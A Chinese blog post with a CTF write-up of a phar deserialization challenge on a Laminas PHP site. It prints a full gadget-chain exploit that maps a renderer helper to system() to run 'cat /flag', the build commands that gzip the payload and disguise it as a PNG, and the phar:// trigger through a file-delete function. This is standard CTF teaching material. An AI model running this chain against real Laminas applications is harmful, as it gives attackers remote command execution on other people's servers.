cr0fyの博客

生如夏花之灿烂,死如秋叶之静美

0%

红明谷web1

Phar反序列化 题目名字:Fan website

题目分析

打开题目利用 www.zip下载源码

在Album文件夹里发现文件module.config.php文件,里面有路径设置

image-20220322224502700

1
'route' => '/album[/:action[/:id]]'

action 就是代表AlbumController.php文件里面的函数,通过链接

http://eci-2ze63phc4zo0fj46nyx7.cloudeci1.ichunqiu.com/album/imgupload

image-20220322222747449

即可访问该函数

image-20220322222847714

此处就是Phar文件上传点

去网上找了一个链子 https://xz.aliyun.com/t/8975#toc-12 并改编了一下

Phar文件上传要求

  1. 过滤’php’和’HALT_COMPILER’. 只需要将生成的phar文件gzip一下即可

  2. 文件大小需要大于3kb .

    随便在一个__construct()中加入一个变量 $this->tmp = file_get_contents("/bin/rmdir");即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->tmp = file_get_contents("/bin/rmdir"); // 需要文件大于3k 直接加一个变量就行
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}
namespace Laminas\Log\Writer{
abstract class AbstractWriter{}

class Mail extends AbstractWriter{
protected $eventsToMail = ["cat /flag"];
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}
namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}
namespace {
$phar = new Phar('phar.phar');
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new \Laminas\Log\Logger();
$phar -> setMetadata($object);
$phar -> stopBuffering();
}
?>

在kali中使用命令

1
2
3
php -d 'phar.readonly=0' exp.php    //执行exp.php,生成phar.phar文件
gzip phar.phar //压缩文件,生成phar.phar.gz文件
mv phar.phar.gz phar.png //修改文件名位phar.png,契合题目上传要求

上传文件后获得文件路径

image-20220322223929010

/var/www/public/img/ed54ee58cd01e120e27939fe4a64fa92.png

接下来就是想在哪个地方使用phar://读取该文件

查看源码中有文件删除函数

image-20220322224114007

访问后得到一个可以输入文件路径的地方

直接输入

phar:///var/www/public/img/ed54ee58cd01e120e27939fe4a64fa92.png

即可phar反序列化

image-20220322224318724